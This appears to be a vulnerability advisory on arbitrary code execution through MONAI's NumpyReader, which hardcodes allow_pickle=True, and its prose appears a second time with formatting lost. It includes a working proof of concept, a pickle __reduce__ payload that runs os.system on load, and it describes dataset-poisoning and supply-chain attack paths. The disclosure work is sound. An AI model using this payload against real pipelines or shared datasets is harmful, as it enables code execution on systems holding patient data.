Summary
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImage transform or uses any MONAI dataset class
- A
.npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
LoadImage selects NumpyReader based on file extension
NumpyReader.read() calls np.load(name, allow_pickle=True)
- Malicious pickle payload in the
.npy file executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
-
Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.
-
Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.
-
Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Summary
The
NumpyReaderclass inmonai/data/image_reader.pyunconditionally usesnp.load(name, allow_pickle=True)(line 1276), enabling arbitrary code execution when loading a crafted.npyor.npzfile. This affects all MONAI versions up to and including the latest commit (5b71547). Theallow_pickleparameter is hardcoded toTrueand cannot be overridden by the user (the docstring explicitly states kwargs are accepted "exceptallow_pickle").Details
Vulnerable code (permalink):
The
NumpyReaderis automatically selected by MONAI'sLoadImagetransform for any file with.npyor.npzextension (seemonai/transforms/io/array.pyline 68:"numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.The
allow_pickle=Trueparameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the__reduce__method.Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
torch.loadcalls now useweights_only=True(after GHSA-6vm5-6jv9-rjpj)PersistentDatasetdefaults toweights_only=True(line 272-275 of dataset.py)However,
NumpyReaderwas not included in these security improvements.Additionally, the
NPZDatasetclass in the same project correctly uses the defaultallow_pickle=False(permalink):This inconsistency shows that
NumpyReaderwas overlooked during security hardening.The user cannot override this behavior:
The hardcoded
allow_pickle=Trueon line 1276 overrides any user attempt to set it via kwargs.Data flow:
LoadImagetransform or uses any MONAI dataset class.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset)LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True).npyfile executes arbitrary codePoC
Output:
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.Supply chain attack: Contributing a malicious
.npyfile to a MONAI tutorial, example, or bundle that other users download and run.Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).